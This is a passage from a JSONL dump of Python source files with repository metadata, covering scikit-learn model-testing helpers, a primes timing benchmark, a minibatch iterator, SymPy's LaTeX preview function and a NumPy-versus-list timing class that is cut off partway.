"max_forks_repo_name": "kotabrog/bootcamp_python", "max_forks_repo_head_hexsha": "41251363d8f62d39451650dcd55e0c1522b1ddcb", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 20.6666666667, "max_line_length": 59, "alphanum_fraction": 0.5790322581, "include": true, "reason": "import numpy", "num_tokens": 140, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.10374861716730452, "lm_q1q2_score": 0.05065872704769917}}
{"text": "\"\"\"\n@file\n@brief Helpers to test a model which follows :epkg:`scikit-learn` API.\n\"\"\"\nimport copy\nimport pickle\nimport pprint\nfrom unittest import TestCase\nfrom io import BytesIO\nfrom numpy import ndarray\nfrom numpy.testing import assert_almost_equal\nfrom pandas.testing import assert_frame_equal\nfrom sklearn.base import BaseEstimator\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.base import clone\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.model_selection import GridSearchCV\n\n\ndef train_test_split_with_none(X, y=None, sample_weight=None, random_state=0):\n    \"\"\"\n    Splits into train and test data even if they are None.\n\n    @param      X               X\n    @param      y               y\n    @param      sample_weight   sample weight\n    @param      random_state    random state\n    @return                     similar to :epkg:`scikit-learn:model_selection:train_test_split`.\n    \"\"\"\n    not_none = [_ for _ in [X, y, sample_weight] if _ is not None]\n    res = train_test_split(*not_none)\n    inc = len(not_none)\n    trains = []\n    tests = []\n    for i in range(inc):\n        trains.append(res[i * 2])\n        tests.append(res[i * 2 + 1])\n    while len(trains) < 3:\n        trains.append(None)\n        tests.append(None)\n    X_train, y_train, w_train = trains\n    X_test, y_test, w_test = tests\n    return X_train, y_train, w_train, X_test, y_test, w_test\n\n\ndef test_sklearn_pickle(fct_model, X, y=None, sample_weight=None, **kwargs):\n    \"\"\"\n    Creates a model, fit, predict and check the prediction\n    are similar after the model was pickled, unpickled.\n\n    @param      fct_model       function which creates the model\n    @param      X               X\n    @param      y               y\n    @param      sample_weight   sample weight\n    @param      kwargs          additional parameters for :epkg:`numpy:testing:assert_almost_equal`\n    @return                     model, unpickled model\n\n    :raises:\n        AssertionError\n    \"\"\"\n    X_train, y_train, w_train, X_test, _, __ = train_test_split_with_none(\n        X, y, sample_weight)\n    model = fct_model()\n    if y_train is None and w_train is None:\n        model.fit(X_train)\n    else:\n        try:\n            model.fit(X_train, y_train, w_train)\n        except TypeError:\n            # Do not accept weights?\n            model.fit(X_train, y_train)\n    if hasattr(model, 'predict'):\n        pred1 = model.predict(X_test)\n    else:\n        pred1 = model.transform(X_test)\n\n    st = BytesIO()\n    pickle.dump(model, st)\n    data = BytesIO(st.getvalue())\n    model2 = pickle.load(data)\n    if hasattr(model2, 'predict'):\n        pred2 = model2.predict(X_test)\n    else:\n        pred2 = model2.transform(X_test)\n    if isinstance(pred1, ndarray):\n        assert_almost_equal(pred1, pred2, **kwargs)\n    else:\n        assert_frame_equal(pred1, pred2, **kwargs)\n    return model, model2\n\n\ndef _get_test_instance():\n    try:\n        from pyquickhelper.pycode import ExtTestCase  # pylint: disable=C0415\n        cls = ExtTestCase\n    except ImportError:  # pragma: no cover\n\n        class _ExtTestCase(TestCase):\n            \"simple test classe with a more methods\"\n\n            def assertIsInstance(self, inst, cltype):\n                \"checks that one instance is from one type\"\n                if not isinstance(inst, cltype):\n                    raise AssertionError(\n                        \"Unexpected type {} != {}.\".format(\n                            type(inst), cltype))\n\n        cls = _ExtTestCase\n    return cls()\n\n\ndef test_sklearn_clone(fct_model, ext=None, copy_fitted=False):\n    \"\"\"\n    Tests that a cloned model is similar to the original one.\n\n    @param      fct_model       function which creates the model\n    @param      ext             unit test class instance\n    @param      copy_fitted     copy fitted parameters as well\n    @return                     model, cloned model\n\n    :raises:\n        AssertionError\n    \"\"\"\n    conv = fct_model()\n    p1 = conv.get_params(deep=True)\n    if copy_fitted:\n        cloned = clone_with_fitted_parameters(conv)\n    else:\n        cloned = clone(conv)\n    p2 = cloned.get_params(deep=True)\n    if ext is None:\n        ext = _get_test_instance()\n    try:\n        ext.assertEqual(set(p1), set(p2))\n    except AssertionError as e:  # pragma no cover\n        p1 = pprint.pformat(p1)\n        p2 = pprint.pformat(p2)\n        raise AssertionError(\n            \"Differences between\\n----\\n{0}\\n----\\n{1}\".format(p1, p2)) from e\n\n    for k in sorted(p1):\n        if isinstance(p1[k], BaseEstimator) and isinstance(p2[k], BaseEstimator):\n            if copy_fitted:\n                assert_estimator_equal(p1[k], p2[k])\n        elif isinstance(p1[k], list) and isinstance(p2[k], list):\n            _assert_list_equal(p1[k], p2[k], ext)\n        else:\n            try:\n                ext.assertEqual(p1[k], p2[k])\n            except AssertionError:  # pragma no cover\n                raise AssertionError(  # pylint: disable=W0707\n                    \"Difference for key '{0}'\\n==1 {1}\\n==2 {2}\".format(\n                        k, p1[k], p2[k]))\n    return conv, cloned\n\n\ndef _assert_list_equal(l1, l2, ext):\n    if len(l1) != len(l2):\n        raise AssertionError(  # pragma no cover\n            \"Lists have different length {0} != {1}\".format(len(l1), len(l2)))\n    for a, b in zip(l1, l2):\n        if isinstance(a, tuple) and isinstance(b, tuple):\n            _assert_tuple_equal(a, b, ext)\n        else:\n            ext.assertEqual(a, b)\n\n\ndef _assert_dict_equal(a, b, ext):\n    if not isinstance(a, dict):  # pragma no cover\n        raise TypeError('a is not dict but {0}'.format(type(a)))\n    if not isinstance(b, dict):  # pragma no cover\n        raise TypeError('b is not dict but {0}'.format(type(b)))\n    rows = []\n    for key in sorted(b):\n        if key not in a:\n            rows.append(\"** Added key '{0}' in b\".format(key))\n        elif isinstance(a[key], BaseEstimator) and isinstance(b[key], BaseEstimator):\n            assert_estimator_equal(a[key], b[key], ext)\n        else:\n            if a[key] != b[key]:\n                rows.append(\n                    \"** Value != for key '{0}': != id({1}) != id({2})\\n==1 {3}\\n==2 {4}\".format(\n                        key, id(a[key]), id(b[key]), a[key], b[key]))\n    for key in sorted(a):\n        if key not in b:\n            rows.append(\"** Removed key '{0}' in a\".format(key))\n    if len(rows) > 0:\n        raise AssertionError(  # pragma: no cover\n            \"Dictionaries are different\\n{0}\".format('\\n'.join(rows)))\n\n\ndef _assert_tuple_equal(t1, t2, ext):\n    if len(t1) != len(t2):  # pragma no cover\n        raise AssertionError(\n            \"Lists have different length {0} != {1}\".format(len(t1), len(t2)))\n    for a, b in zip(t1, t2):\n        if isinstance(a, BaseEstimator) and isinstance(b, BaseEstimator):\n            assert_estimator_equal(a, b, ext)\n        else:\n            ext.assertEqual(a, b)\n\n\ndef assert_estimator_equal(esta, estb, ext=None):\n    \"\"\"\n    Checks that two models are equal.\n\n    @param      esta        first estimator\n    @param      estb        second estimator\n    @param      ext         unit test class\n\n    The function raises an exception if the comparison fails.\n    \"\"\"\n    if ext is None:\n        ext = _get_test_instance()\n    ext.assertIsInstance(esta, estb.__class__)\n    ext.assertIsInstance(estb, esta.__class__)\n    _assert_dict_equal(esta.get_params(), estb.get_params(), ext)\n    for att in esta.__dict__:\n        if (att.endswith('_') and not att.endswith('__')) or \\\n                (att.startswith('_') and not att.startswith('__')):\n            if not hasattr(estb, att):  # pragma no cover\n                raise AssertionError(\"Missing fitted attribute '{}' class {}\\n==1 {}\\n==2 {}\".format(\n                    att, esta.__class__, list(sorted(esta.__dict__)), list(sorted(estb.__dict__))))\n            if isinstance(getattr(esta, att), BaseEstimator):\n                assert_estimator_equal(\n                    getattr(esta, att), getattr(estb, att), ext)\n            else:\n                ext.assertEqual(getattr(esta, att), getattr(estb, att))\n    for att in estb.__dict__:\n        if att.endswith('_') and not att.endswith('__'):\n            if not hasattr(esta, att):  # pragma no cover\n                raise AssertionError(\"Missing fitted attribute\\n==1 {}\\n==2 {}\".format(\n                    list(sorted(esta.__dict__)), list(sorted(estb.__dict__))))\n\n\ndef test_sklearn_grid_search_cv(fct_model, X, y=None, sample_weight=None, **grid_params):\n    \"\"\"\n    Creates a model, checks that a grid search works with it.\n\n    @param      fct_model       function which creates the model\n    @param      X               X\n    @param      y               y\n    @param      sample_weight   sample weight\n    @param      grid_params     parameter to use to run the grid search.\n    @return                     dictionary with results\n\n    :raises:\n        AssertionError\n    \"\"\"\n    X_train, y_train, w_train, X_test, y_test, w_test = (\n        train_test_split_with_none(X, y, sample_weight))\n    model = fct_model()\n    pipe = make_pipeline(model)\n    name = model.__class__.__name__.lower()\n    parameters = {name + \"__\" + k: v for k, v in grid_params.items()}\n    if len(parameters) == 0:\n        raise ValueError(\n            \"Some parameters must be tested when running grid search.\")\n    clf = GridSearchCV(pipe, parameters)\n    if y_train is None and w_train is None:\n        clf.fit(X_train)\n    elif w_train is None:\n        clf.fit(X_train, y_train)  # pylint: disable=E1121\n    else:\n        clf.fit(X_train, y_train, w_train)  # pylint: disable=E1121\n    score = clf.score(X_test, y_test)\n    ext = _get_test_instance()\n    ext.assertIsInstance(score, float)\n    return dict(model=clf, X_train=X_train, y_train=y_train, w_train=w_train,\n                X_test=X_test, y_test=y_test, w_test=w_test, score=score)\n\n\ndef clone_with_fitted_parameters(est):\n    \"\"\"\n    Clones an estimator with the fitted results.\n\n    @param      est     estimator\n    @return             cloned object\n    \"\"\"\n    def adjust(obj1, obj2):\n        if isinstance(obj1, list) and isinstance(obj2, list):\n            for a, b in zip(obj1, obj2):\n                adjust(a, b)\n        elif isinstance(obj1, tuple) and isinstance(obj2, tuple):\n            for a, b in zip(obj1, obj2):\n                adjust(a, b)\n        elif isinstance(obj1, dict) and isinstance(obj2, dict):\n            for a, b in zip(obj1, obj2):\n                adjust(obj1[a], obj2[b])\n        elif isinstance(obj1, BaseEstimator) and isinstance(obj2, BaseEstimator):\n            for k in obj1.__dict__:\n                if hasattr(obj2, k):\n                    v1 = getattr(obj1, k)\n                    if callable(v1):\n                        raise RuntimeError(  # pragma: no cover\n                            \"Cannot migrate trained parameters for {}.\".format(obj1))\n                    elif isinstance(v1, BaseEstimator):\n                        v1 = getattr(obj1, k)\n                        setattr(obj2, k, clone_with_fitted_parameters(v1))\n                    else:\n                        adjust(getattr(obj1, k), getattr(obj2, k))\n                elif (k.endswith('_') and not k.endswith('__')) or \\\n                     (k.startswith('_') and not k.startswith('__')):\n                    v1 = getattr(obj1, k)\n                    setattr(obj2, k, clone_with_fitted_parameters(v1))\n                else:\n                    raise RuntimeError(  # pragma: no cover\n                        \"Cloned object is missing '{0}' in {1}.\".format(k, obj2))\n\n    if isinstance(est, BaseEstimator):\n        cloned = clone(est)\n        adjust(est, cloned)\n        res = cloned\n    elif isinstance(est, list):\n        res = list(clone_with_fitted_parameters(o) for o in est)\n    elif isinstance(est, tuple):\n        res = tuple(clone_with_fitted_parameters(o) for o in est)\n    elif isinstance(est, dict):\n        res = {k: clone_with_fitted_parameters(v) for k, v in est.items()}\n    else:\n        res = copy.deepcopy(est)\n    return res\n", "meta": {"hexsha": "621c20d9fee8c31621bbd691005e42d2519ac8eb", "size": 12060, "ext": "py", "lang": "Python", "max_stars_repo_path": "mlinsights/mlmodel/sklearn_testing.py", "max_stars_repo_name": "sdpython/mlinsights", "max_stars_repo_head_hexsha": "bae59cda775a69bcce83b16b88df2f34a092cb60", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 48, "max_stars_repo_stars_event_min_datetime": "2017-11-19T14:59:41.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-03T15:50:24.000Z", "max_issues_repo_path": "mlinsights/mlmodel/sklearn_testing.py", "max_issues_repo_name": "sdpython/mlinsights", "max_issues_repo_head_hexsha": "bae59cda775a69bcce83b16b88df2f34a092cb60", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 87, "max_issues_repo_issues_event_min_datetime": "2017-11-20T00:10:32.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-20T01:48:09.000Z", "max_forks_repo_path": "mlinsights/mlmodel/sklearn_testing.py", "max_forks_repo_name": "sdpython/mlinsights", "max_forks_repo_head_hexsha": "bae59cda775a69bcce83b16b88df2f34a092cb60", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 12, "max_forks_repo_forks_event_min_datetime": "2019-05-09T07:45:52.000Z", "max_forks_repo_forks_event_max_datetime": "2021-06-28T06:55:53.000Z", "avg_line_length": 37.3374613003, "max_line_length": 101, "alphanum_fraction": 0.584079602, "include": true, "reason": "from numpy", "num_tokens": 2876, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41869690935568665, "lm_q2_score": 0.12085323724011436, "lm_q1q2_score": 0.05060087691806546}}
{"text": "'''\n@author: Daniel Hjertholm\n'''\n\n\nimport time\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom algorithms import primes1, primes2, primes3, primes4, primes5, primes6, primes7, primes8\n\n\nubounds = range(0, 10000, 100)\nnum = len(ubounds)\n\nresults = []\n\nfor algorithm in (primes1, primes2, primes3, primes4, primes5, primes6, primes7, primes8):\n    print(f'Testing algorithm {algorithm.__name__}')\n    results_for_current_algorithm = []\n    for ubound in ubounds:\n        starttime = time.time()\n        result = algorithm(ubound)\n        endtime = time.time()\n        duration = endtime - starttime\n        results_for_current_algorithm.append(duration)\n    results.append(results_for_current_algorithm)\n\nplt.plot(np.transpose(np.array(results)), linewidth=2)\nplt.xticks(range(len(ubounds))[0::10], ubounds[0::10])\nplt.xlabel('Upper bound for primes')\nplt.ylabel('Time in seconds to generate primes')\nplt.legend(['algorithm 1', 'algorithm 2', 'algorithm 3', 'algorithm 4',\n            'algorithm 5', 'algorithm 6', 'algorithm 7', 'algorithm 8'], loc=2)\nplt.show()\n", "meta": {"hexsha": "a613084162520438348114e7bd827a81382fffd5", "size": 1071, "ext": "py", "lang": "Python", "max_stars_repo_path": "primes_test.py", "max_stars_repo_name": "danhje/primes", "max_stars_repo_head_hexsha": "4dcda44a868e75a3cd13b2e81cd7bbe2f4df0ee4", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "primes_test.py", "max_issues_repo_name": "danhje/primes", "max_issues_repo_head_hexsha": "4dcda44a868e75a3cd13b2e81cd7bbe2f4df0ee4", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "primes_test.py", "max_forks_repo_name": "danhje/primes", "max_forks_repo_head_hexsha": "4dcda44a868e75a3cd13b2e81cd7bbe2f4df0ee4", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.6, "max_line_length": 93, "alphanum_fraction": 0.7030812325, "include": true, "reason": "import numpy", "num_tokens": 277, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41869690935568665, "lm_q2_score": 0.12085322299118381, "lm_q1q2_score": 0.05060087095208227}}
{"text": "\"\"\"some helper functions.\"\"\"\nimport numpy as np\n\ndef batch_iter(y, tx, batch_size, num_batches=None, shuffle=True):\n    \"\"\"\n    Generate a minibatch iterator for a dataset.\n    Takes as input two iterables (here the output desired values 'y' and the input data 'tx')\n    Outputs an iterator which gives mini-batches of `batch_size` matching elements from `y` and `tx`.\n    Data can be randomly shuffled to avoid ordering in the original data messing with the randomness of the minibatches.\n    Example of use :\n    for minibatch_y, minibatch_tx in batch_iter(y, tx, 32):\n        <DO-SOMETHING>\n    \"\"\"\n    data_size = len(y)\n    num_batches_max = int(np.ceil(data_size/batch_size))\n    if num_batches is None:\n        num_batches = num_batches_max\n    else:\n        num_batches = min(num_batches, num_batches_max)\n\n    if shuffle:\n        shuffle_indices = np.random.permutation(np.arange(data_size))\n        shuffled_y = y[shuffle_indices]\n        shuffled_tx = tx[shuffle_indices]\n    else:\n        shuffled_y = y\n        shuffled_tx = tx\n    for batch_num in range(num_batches):\n        start_index = batch_num * batch_size\n        end_index = min((batch_num + 1) * batch_size, data_size)\n        if start_index != end_index:\n            yield shuffled_y[start_index:end_index], shuffled_tx[start_index:end_index]\n", "meta": {"hexsha": "4f8a5c45c30437383da1dd520f7ae3e5054675ee", "size": 1317, "ext": "py", "lang": "Python", "max_stars_repo_path": "Project_1/Code/Jets/helpers.py", "max_stars_repo_name": "dcleres/CS-433-MachineLearning", "max_stars_repo_head_hexsha": "c1c6195bb68cf98dc340eb00f2a9fa1a6b038999", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Project_1/Code/Jets/helpers.py", "max_issues_repo_name": "dcleres/CS-433-MachineLearning", "max_issues_repo_head_hexsha": "c1c6195bb68cf98dc340eb00f2a9fa1a6b038999", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Project_1/Code/Jets/helpers.py", "max_forks_repo_name": "dcleres/CS-433-MachineLearning", "max_forks_repo_head_hexsha": "c1c6195bb68cf98dc340eb00f2a9fa1a6b038999", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.9090909091, "max_line_length": 120, "alphanum_fraction": 0.6879271071, "include": true, "reason": "import numpy", "num_tokens": 305, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4073333856566001, "lm_q2_score": 0.12421301645710342, "lm_q1q2_score": 0.05059610853609092}}
{"text": "from __future__ import with_statement\n\nimport os\nimport time\nimport tempfile\n\nfrom latex import latex\n\ndef preview(expr, output='png', viewer=None, euler=True, packages=(), **latex_settings):\n    r\"\"\"\n    View expression or LaTeX markup in PNG, DVI, PostScript or PDF form.\n\n    If the expr argument is an expression, it will be exported to LaTeX and\n    then compiled using available the TeX distribution.  The first argument,\n    'expr', may also be a LaTeX string.  The function will then run the\n    appropriate viewer for the given output format or use the user defined\n    one. By default png output is generated.\n\n    By default pretty Euler fonts are used for typesetting (they were used to\n    typeset the well known \"Concrete Mathematics\" book). For that to work, you\n    need the 'eulervm.sty' LaTeX style (in Debian/Ubuntu, install the\n    texlive-fonts-extra package). If you prefer default AMS fonts or your\n    system lacks 'eulervm' LaTeX package then unset the 'euler' keyword\n    argument.\n\n    To use viewer auto-detection, lets say for 'png' output, issue\n\n    >>> from sympy import symbols, preview, Symbol\n    >>> x, y = symbols(\"x,y\")\n\n    >>> preview(x + y, output='png') # doctest: +SKIP\n\n    This will choose 'pyglet' by default. To select a different one, do\n\n    >>> preview(x + y, output='png', viewer='gimp') # doctest: +SKIP\n\n    The 'png' format is considered special. For all other formats the rules\n    are slightly different. As an example we will take 'dvi' output format. If\n    you would run\n\n    >>> preview(x + y, output='dvi') # doctest: +SKIP\n\n    then 'view' will look for available 'dvi' viewers on your system\n    (predefined in the function, so it will try evince, first, then kdvi and\n    xdvi). If nothing is found you will need to set the viewer explicitly.\n\n    >>> preview(x + y, output='dvi', viewer='superior-dvi-viewer') # doctest: +SKIP\n\n    This will skip auto-detection and will run user specified\n    'superior-dvi-viewer'. If 'view' fails to find it on your system it will\n    gracefully raise an exception. You may also enter 'file' for the viewer\n    argument. Doing so will cause this function to return a file object in\n    read-only mode.\n\n    Currently this depends on pexpect, which is not available for windows.\n\n    Additional keyword args will be passed to the latex call, e.g., the\n    symbol_names flag.\n\n    >>> phidd = Symbol('phidd')\n    >>> preview(phidd, symbol_names={phidd:r'\\ddot{\\varphi}'}) # doctest: +SKIP\n\n    \"\"\"\n\n    # we don't want to depend on anything not in the\n    # standard library with SymPy by default\n    import pexpect\n\n    special = [ 'pyglet' ]\n\n    if viewer is None:\n        if output == \"png\":\n            viewer = \"pyglet\"\n        else:\n            # sorted in order from most pretty to most ugly\n            # very discussable, but indeed 'gv' looks awful :)\n            candidates = {\n                \"dvi\" : [ \"evince\", \"okular\", \"kdvi\", \"xdvi\" ],\n                \"ps\"  : [ \"evince\", \"okular\", \"gsview\", \"gv\" ],\n                \"pdf\" : [ \"evince\", \"okular\", \"kpdf\", \"acroread\", \"xpdf\", \"gv\" ],\n            }\n\n            try:\n                for candidate in candidates[output]:\n                    if pexpect.which(candidate):\n                        viewer = candidate\n                        break\n                else:\n                    raise SystemError(\"No viewers found for '%s' output format.\" % output)\n            except KeyError:\n                raise SystemError(\"Invalid output format: %s\" % output)\n    else:\n        if viewer not in special and not pexpect.which(viewer):\n            raise SystemError(\"Unrecognized viewer: %s\" % viewer)\n\n    actual_packages = packages + (\"amsmath\", \"amsfonts\")\n    if euler:\n        actual_packages += (\"euler\",)\n    package_includes = \"\\n\".join([\"\\\\usepackage{%s}\" % p\n                                  for p in actual_packages])\n\n    format = r\"\"\"\\documentclass[12pt]{article}\n                 %s\n                 \\begin{document}\n                 \\pagestyle{empty}\n                 %s\n                 \\vfill\n                 \\end{document}\n              \"\"\" % (package_includes, \"%s\")\n\n    if isinstance(expr, str):\n        latex_string = expr\n    else:\n        latex_string = latex(expr, mode='inline', **latex_settings)\n\n\n    tmp = tempfile.mktemp()\n\n    with open(tmp + \".tex\", \"w\") as tex:\n        tex.write(format % latex_string)\n\n    cwd = os.getcwd()\n    os.chdir(tempfile.gettempdir())\n\n    if os.system(\"latex -halt-on-error %s.tex\" % tmp) != 0:\n        raise SystemError(\"Failed to generate DVI output.\")\n\n    os.remove(tmp + \".tex\")\n    os.remove(tmp + \".aux\")\n    os.remove(tmp + \".log\")\n\n    if output != \"dvi\":\n        command = {\n            \"ps\"  : \"dvips -o %s.ps %s.dvi\",\n            \"pdf\" : \"dvipdf %s.dvi %s.pdf\",\n            \"png\" : \"dvipng -T tight -z 9 \" + \\\n                    \"--truecolor -o %s.png %s.dvi\",\n        }\n\n        try:\n            if os.system(command[output] % (tmp, tmp)) != 0:\n                raise SystemError(\"Failed to generate '%s' output.\" % output)\n            else:\n                os.remove(tmp + \".dvi\")\n        except KeyError:\n            raise SystemError(\"Invalid output format: %s\" % output)\n\n    src = \"%s.%s\" % (tmp, output)\n    src_file = None\n\n    if viewer == \"file\":\n        src_file = open(src, 'rb')\n    elif viewer == \"pyglet\":\n        try:\n            from pyglet import window, image, gl\n            from pyglet.window import key\n        except ImportError:\n            raise ImportError(\"pyglet is required for plotting.\\n visit http://www.pyglet.org/\")\n\n        if output == \"png\":\n            from pyglet.image.codecs.png import PNGImageDecoder\n            img = image.load(src, decoder=PNGImageDecoder())\n        else:\n            raise SystemError(\"pyglet preview works only for 'png' files.\")\n\n        offset = 25\n\n        win = window.Window(\n            width = img.width + 2*offset,\n            height = img.height + 2*offset,\n            caption = \"sympy\",\n            resizable = False\n        )\n\n        win.set_vsync(False)\n\n        try:\n            def on_close():\n                win.has_exit = True\n\n            win.on_close = on_close\n\n            def on_key_press(symbol, modifiers):\n                if symbol in [key.Q, key.ESCAPE]:\n                    on_close()\n\n            win.on_key_press = on_key_press\n\n            def on_expose():\n                gl.glClearColor(1.0, 1.0, 1.0, 1.0)\n                gl.glClear(gl.GL_COLOR_BUFFER_BIT)\n\n                img.blit(\n                    (win.width - img.width) / 2,\n                    (win.height - img.height) / 2\n                )\n\n            win.on_expose = on_expose\n\n            while not win.has_exit:\n                win.dispatch_events()\n                win.flip()\n        except KeyboardInterrupt:\n            pass\n\n        win.close()\n    else:\n        os.system(\"%s %s &> /dev/null &\" % (viewer, src))\n        time.sleep(2) # wait for the viewer to read data\n\n    os.remove(src)\n    os.chdir(cwd)\n\n    if src_file is not None:\n        return src_file\n", "meta": {"hexsha": "927a7e646b53f62d1639af07a9446c34594bd371", "size": 7063, "ext": "py", "lang": "Python", "max_stars_repo_path": "sympy/printing/preview.py", "max_stars_repo_name": "sn6uv/sympy", "max_stars_repo_head_hexsha": "5b149c2f72847e4785c65358b09d99b29f101dd5", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "sympy/printing/preview.py", "max_issues_repo_name": "sn6uv/sympy", "max_issues_repo_head_hexsha": "5b149c2f72847e4785c65358b09d99b29f101dd5", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sympy/printing/preview.py", "max_forks_repo_name": "sn6uv/sympy", "max_forks_repo_head_hexsha": "5b149c2f72847e4785c65358b09d99b29f101dd5", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.6990740741, "max_line_length": 96, "alphanum_fraction": 0.5667563358, "include": true, "reason": "from sympy", "num_tokens": 1734, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4073334144352605, "lm_q2_score": 0.12421300673104343, "lm_q1q2_score": 0.05059610814902592}}
{"text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport timeit\n\nclass NumpyVSList:\n    @staticmethod\n    def compute(operation):\n        \"\"\"Compute the time of an operation on a numpy array and a core_list.\n\n        :param str operation: The operation to compute.\n        :return: Tuple containing the time of the operation on an numpy array and a core list.\n        :rtype: tuple of float\n        \"\"\"\n\n        if operation == \"init\":\n            return NumpyVSList.compute_time_init()\n        elif operation == \"reading\":\n            return NumpyVSList.compute_time_reading()\n        elif operation == \"writing\":\n            return NumpyVSList.compute_time_writing()\n\n    @staticmethod\n    def compute_time_init(nb_values=100, repeat=10000):\n        \"\"\"Compare the time of initialization of a numpy array and a core list.\n\n        :param int nb_values: The number of values in the iterables.\n        :param int repeat: The number of times we repeat the experiment.\n        :return: The time of initialization of the numpy array and the core list.\n        :rtype: tuple of float\n        \"\"\"\n\n        time_numpy_array = timeit.timeit(\"numpy_array = np.array(range({}))\".format(nb_values), number=repeat, setup=\"import numpy as np\") / repeat\n        time_core_list = timeit.timeit(\"[i for i in range({})]\".format(nb_values), number=repeat) / repeat\n        return time_numpy_array, time_core_list\n\n    @staticmethod\n    def compute_time_reading(nb_values=100, repeat=10000):\n        \"\"\"Compare the time of reading of a numpy array and a core list.\n\n        :param int nb_values: The number of values in the iterables.\n        :param int repeat: The number of times we repeat the experiment.\n        :return: The time of reading of the numpy array and the core list.\n        :rtype: tuple of float\n        \"\"\"\n\n        numpy_setup = \"import numpy as np\\nnumpy_array = np.array(range({}))\".format(nb_values)\n        numpy_test = \"for i in numpy_array: pass\"\n        core_setup = \"core_list = [i for i in range({})]\".format(nb_values)\n        core_test = \"for i in core_list: pass\"\n        time_numpy_array = timeit.timeit(numpy_test, setup=numpy_setup, number=repeat) / repeat\n        time_core_list = timeit.timeit(core_test, setup=core_setup, number=repeat) / repeat\n        return time_numpy_array, time_core_list\n\n    @staticmethod\n    def compute_time_writing(nb_values=100, repeat=10000):\n        \"\"\"Compare the time of writing of a numpy array and a core list.\n\n        :param int nb_values: The number of values in the iterables.\n        :param int repeat: The number of times we repeat the experiment.\n        :return: The time of writing of the numpy array and the core list.\n        :rtype: tuple of float\n        \"\"\"\n\n        numpy_setup = \"import numpy as np\\nnumpy_array = np.array(range({}))\".format(nb_values)\n        numpy_test = \"for i in range(len(numpy_array)): numpy_array[i] = 1\"\n        core_setup = \"core_list = [i for i in range({})]\".format(nb_values)\n        core_test = \"for i in range(len(core_list)): core_list[i] = 1\"\n        time_numpy_array = timeit.timeit(numpy_test, setup=numpy_setup, number=repeat) / repeat\n        time_core_list = timeit.timeit(core_test, setup=core_setup, number=repeat) / repeat\n        return time_numpy_array, time_core_list\n\n    @staticmethod\n    def display_compare_init(nb_values=100, repeat=10000):\n        \"\"\"Display the time of initialization of a numpy array and a core list.\n\n        :param int nb_values: The number of values in the iterables.\n        :param int repeat: The number of times we repeat the experiment.\n        \"\"\"\n\n        time_numpy_array, time_core_list = NumpyVSList.compute_time_init(nb_values, repeat)\n        print(\"=====RESULT INITIATION=====\")\n        print(\"Number of values: {}\".format(nb_values))\n        print(\"Number of repeat: {}\".format(repeat))\n        print(\"Mean numpy array: {}\".format(time_numpy_array))\n        print(\"Mean core list: {}\".format(time_core_list))\n        print(\"T_numpy - T_core = {}\".format(time_numpy_array - time_core_list))\n        print(\"===========================\")\n\n    @staticmethod\n    def display_compare_reading(nb_values=100, repeat=10000):\n        \"\"\"Display the time of reading of a core list and a numpy array.\n\n        :param int nb_values: The number of values in the iterables.\n        :param int repeat: The number of times we repeat the experiment.\n        \"\"\"\n\n        numpy_setup = \"import numpy as np\\nnumpy_array = np.array(range({}))\".format(nb_values)\n        numpy_test = \"for i in numpy_array: pass\"\n        core_setup = \"core_list = [i for i in range({})]\".format(nb_values)\n        core_test = \"for i in core_list: pass\"\n        time_numpy_array, time_core_list = NumpyVSList.compute_time_reading(nb_values, repeat)\n        print(\"=====RESULT READING=====\")\n        print(\"Number of values: {}\".format(nb_values))\n        print(\"Number of repeat: {}\".format(repeat))\n        print(\"Mean numpy array: {}\".format(time_numpy_array))\n        print(\"Mean core list: {}\".format(time_core_list))\n        print(\"T_numpy - T_core = {}\".format(time_numpy_array - time_core_list))\n        print(\"===========================\")\n        return time_numpy_array, time_core_list\n\n    @staticmethod\n    def display_compare_writing(nb_values=100, repeat=10000):\n        \"\"\"Display the time of writing of a core list and a numpy array.\n\n        :param int nb_values: The number of values in the iterables.\n        :param int repeat: The number of times we repeat the experiment.\n        \"\"\"\n\n        numpy_setup = \"import numpy 